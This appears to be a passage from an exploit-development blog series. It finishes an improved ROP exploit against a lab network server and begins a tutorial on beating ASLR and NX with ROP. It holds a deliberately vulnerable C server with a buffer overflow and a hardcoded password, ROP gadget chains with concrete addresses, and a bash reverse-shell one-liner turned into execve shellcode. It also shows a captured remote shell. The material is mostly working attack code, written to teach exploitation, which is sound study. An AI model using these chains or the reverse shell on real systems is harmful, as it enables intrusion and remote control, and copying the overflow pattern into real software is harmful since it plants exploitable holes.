root@dev:/home/testuser# cat /proc/32019/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
08ba6000-08bc8000 rw-p 00000000 00:00 0          [heap]
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
bf7ed000-bf80e000 rw-p 00000000 00:00 0          [stack]
root@dev:/home/testuser# cat /proc/32024/maps
08048000-080ca000 r-xp 00000000 08:01 964756     /home/appuser/app-net
080ca000-080cc000 rw-p 00081000 08:01 964756     /home/appuser/app-net
080cc000-080cd000 rw-p 00000000 00:00 0 
097fd000-0981f000 rw-p 00000000 00:00 0          [heap]
b77cc000-b77cd000 r-xp 00000000 00:00 0          [vdso]
bfba6000-bfbc7000 rw-p 00000000 00:00 0          [stack]

There are 2 sections of wriable memory that appear to be static (080cc000-080cd000 and 080ca000-080cc000).

As you can see though, these address ranges have low memory addresses, much smaller than the value added to ebx (0x5e5b04c4).

I decided I wanted to use the memory address of 0x080cc004, so I done the sum 0x1080cc004 - 0x5e5b04c4 = 0xa9b1bb40.

So if we get the value 0xa9b1bb40 into ebx before we run the gadget in question it should work all of the time.

With all of this in mind our new function 1 looks like this:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret
0x080a3f72 : xchg eax, edi ; ret
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a3f72 : xchg eax, edi ; ret
0x08057b7e : pop ebx ; ret
0xa9b1bb40 : 0x1080cc004 - 0x5e5b04c4
0x080ab696 : xchg edx, edi ; inc dword ptr [ebx + 0x5e5b04c4] ; pop ebp ; ret
0xeeeeeeee
0x0807b086 : xchg eax, esp ; ret

Obviously this is smaller than the original function 1 meaning that the distance between function 1 and 2 will be smaller, in fact it is only 76 (or 0x4c) bytes now instead of 108.

Using the same method as before (attaching to the app using gdb and running find 0x08048000, 0x080ca000, 0x0000004c) I found that this value is found at the address 0x804ba61.

So we have to go about replacing those where ever we have called function 2 directly.

All of this increased the size of the payload from 1008 to 1188 bytes but that's still a lot smaller than the 1536 bytes of the previous exploit.

Exploiting The Application

So now we have all the required information to make a working exploit.

You can see my full notes here.

And the full exploit here.

As normal we run the vulnerable application:

1
appuser@dev:~$ ./app-net

Start listening with nc:

1
testuser@dev:~$ nc -l -p 8000

Launch the exploit:

1
testuser@dev:~$ python app-net-rop-exploit-improved.py

Then if you look at the terminal windows running nc:

1
2
3
4
5
6
7
appuser@dev:/home/appuser$ pwd
pwd
/home/appuser
appuser@dev:/home/appuser$ whoami
whoami
appuser
appuser@dev:/home/appuser$

PWNED!! :-D

Conclusion

I know we didn't save a huge amount of space with this exploit (only 348 bytes), that might be enough to bypass any space restrictions.

Also if we had more/different gadgets, which is certainly possible with a different application, we might have been capable of saving a lot more space.

The main point of this post was the demonstrate some reasonably advanced ROP techniques and suggest possibilities for improving an exploit where ROP is required.

Happy Hacking :-)

Beating ASLR and NX using ROP

So far we've only beat either ASLR or NX seperately, now I will demonstrate how to beat both of these protections at the same time.

To do this I will use ROP (Return-oriented programming). We've seen ROP briefly in the last post but now we will use it alot more extensively.

ROP itself is a very simple idea, in situations where its impossible to run your own code, you use the code already in the application to do what you want it to do.

As we saw in the post about beating ASLR with full ASLR enabled the only section that is static is the text segment which contains the applications own code.

The "Return to Libc" method won't work because dynamically loaded libraries aren't at the same segment of memory as the applications code so we can no longer predict what memory addresses these functions (or pointers to the functions) will be at.

Normal shellcode will not run because NX is enabled.

So we have to find a way to run our own code by using only the code which is always loaded at the same address in memory.

Its worth noting that every ROP exploit will be remarkably different, this is because we can only use the applications own code and every applications code is different, so the important thing to learn in this post is the methodlogy that I will use to build the exploit.

I will assume that you have an indepth knowledge of the IA32 architecture and how the calling convention used by Linux (cdecl) works.

The App

The application we will be attacking is the same application as in the beating ASLR post.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <strings.h>
#include <stdlib.h>
#include <string.h>

#define PASS "topsecretpassword"
#define CNUM 58623
#define SFILE "secret.txt"
#define TFILE "token"
#define PORT 9999

void sendfile(int connfd, struct sockaddr_in cliaddr);
void senderror(int connfd, struct sockaddr_in cliaddr, char p[]);
void sendtoken(int connfd, struct sockaddr_in cliaddr);
int checkpass(char *p);


void main()
{
    int listenfd, connfd, n, c, r;
    struct sockaddr_in servaddr, cliaddr;
    socklen_t clilen;
    pid_t childpid;
    char pwd[4096];

    listenfd=socket(AF_INET,SOCK_STREAM,0);

    bzero(&servaddr,sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
    servaddr.sin_port=htons(PORT);
    if ((r = bind(listenfd,(struct sockaddr *)&servaddr,sizeof(servaddr))) != 0) {
        printf("Error: Unable to bind to port %d\n", PORT);
        exit(1);
    }

    listen(listenfd,1024);

    for(;;) {
        clilen=sizeof(cliaddr);
        connfd = accept(listenfd,(struct sockaddr *)&cliaddr,&clilen);

        n = recvfrom(connfd, pwd, 4096, 0, (struct sockaddr *)&cliaddr, &clilen);
        pwd[n] = '\0';
        r = checkpass(pwd);
        if (r != 0)
            if (r != 5)
                senderror(connfd, cliaddr, pwd);
            else
                sendtoken(connfd, cliaddr);
        else
            sendfile(connfd, cliaddr);
        printf("Received the following:\n");
        printf("%s", pwd);

        close(connfd);
    }
}

void sendfile(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(SFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " SFILE "\n");
        exit(1);
    }
}

void senderror(int connfd, struct sockaddr_in cliaddr, char p[])
{
    sendto(connfd, "Wrong password: ", 16 , 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
    sendto(connfd, p, strlen(p), 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
}

void sendtoken(int connfd, struct sockaddr_in cliaddr)
{
    FILE *f;
    int c;
    f = fopen(TFILE, "r");
    if (f) {
        while ((c = getc(f)) != EOF)
            sendto(connfd, &c, 1, 0, (struct sockaddr *)&cliaddr,sizeof(cliaddr));
        fclose(f);
    } else {
        printf("Error opening file: " TFILE "\n");
        exit(1);
    }
}

int checkpass(char *a)
{
    char p[512];
    int r, i;
    strncpy(p, a, strlen(a)+1);
    i = atoi(p);
    if (i == CNUM)
        r = 5;
    else
        r = strcmp(p, PASS);
    return r;
}

The only thing I've changed here is the size of the input accepted by the server (from 1000 to 4096). This is because the payload I need to send is larger than 1000 bytes.

Setting Up The Environment

Because the application that we are attacking is so small, we need to compile it with the -static flag, this will compile any libraries into the binary making for a larger text segment:

1
2
3
testuser@dev:~$ gcc -o app-net app-net.c -static
testuser@dev:~$ cat /proc/sys/kernel/randomize_va_space 
2

Its important to use the -static flag, firstly because you won't have enough ROP gadgets to write the exploit otherwise and because nearly all real world applications are much bigger than this small 1 so compiling it with the libraries static will make it more realistic.

If you don't get 2 from /proc/sys/kernel/randomize_va_space then run (as root):

1
root@dev:~# echo 2 > /proc/sys/kernel/randomize_va_space 

Getting Gadgets

To build a ROP exploit you need to find ROP gadgets.

A ROP gadget is 1 or more assembly instructions followed by a ret (or return) instruction.

Finding these gadgets would be painful and slow manually so we will use an already avaliable tool ROPgadget by Jonathan Salwan of Shell Storm.

You can download the tool using git:

1
2
3
4
5
6
testuser@dev:~$ git clone https://github.com/JonathanSalwan/ROPgadget.git
Cloning into 'ROPgadget'...
remote: Counting objects: 3031, done.
remote: Total 3031 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3031/3031), 10.08 MiB | 2.03 MiB/s, done.
Resolving deltas: 100% (1828/1828), done.

This script looks for all ROP gadgets in the application code and outputs them, there will be alot of output so redirect the output to a file to search through later:

1
testuser@dev:~$ ROPgadget/ROPgadget.py --binary app-net > gadgets

The file (gadgets) will contain lines in the form of:

[memory address] : [series of instructions at that address]

The first thing I looked for is an int 0x80 followed by a ret:

1
testuser@dev:~$ grep 'int 0x80' gadgets | grep 'ret'

There are none, this means we will have to do the attack in 1 syscall.

You can download the full list of ROP gadgets that I got here.

Testing New Shellcode

All of the shellcode I've written until now used multiple syscalls, we aren't able to do that now so we need 1 syscall that is useful for us.

To do this I will use the bash 1 liner here:

1
bash -i >& /dev/tcp/127.0.0.1/8000 0>&1

As before, although I'm doing everything over the loopback interface for ease and convenience, this could be done to any IP address.

I will use the execve syscall for this, in C this would look like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <unistd.h>

int main(int argc, char **argv)
{
    char *filename = "/bin/bash";
    char *arg1 = "-c";
    char *arg2 = "/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1";
    char *args[] = { filename, arg1, arg2 };
    execve(args[0], &args[0], 0);
}

Using this, and already knowing (from previous posts) that the syscall number for execve is 11, we can create the same code in assembly and shellcode, first we need the strings in hex and backwards (because of the little endian architecture).

For this I will use a little python script I wrote:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/env python

import sys

string = sys.argv[1]
print 'Length: ' + str(len(string))

print 'Reversed: ' + string[::-1]

print 'And HEX\'d: ' + string[::-1].encode('hex')

sys.exit(0)

Now we can just run this script with each of our strings as an argument:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
testuser@dev:~$ python reverse-n-hex.py '/bin/bash'
Length: 9
Reversed: hsab/nib/
And HEX'd: 687361622f6e69622f
testuser@dev:~$ python reverse-n-hex.py '-c'
Length: 2
Reversed: c-
And HEX'd: 632d
testuser@dev:~$ python reverse-n-hex.py '/bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1'
Length: 44
Reversed: 1&>0 0008/1.0.0.721/pct/ved/ &> i- hsab/nib/
And HEX'd: 31263e3020303030382f312e302e302e3732312f7063742f7665642f20263e20692d20687361622f6e69622f

Now we can build the shellcode in assembly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
global _start

section .text

_start:
    ; z